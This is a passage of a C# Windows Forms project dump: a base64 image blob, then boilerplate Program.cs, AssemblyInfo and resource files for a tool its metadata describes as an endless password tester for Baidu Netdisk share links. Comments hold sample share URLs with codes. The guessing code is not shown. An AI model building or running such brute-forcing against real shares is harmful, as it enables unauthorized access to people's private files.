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
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Program.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace zgcwkj
{
static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Main());
//https://pan.baidu.com/share/init?surl=dFlOQid
//lzte
//https://pan.baidu.com/s/1bEeTsU
//ebdf
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Properties/Settings.Designer.cs
================================================
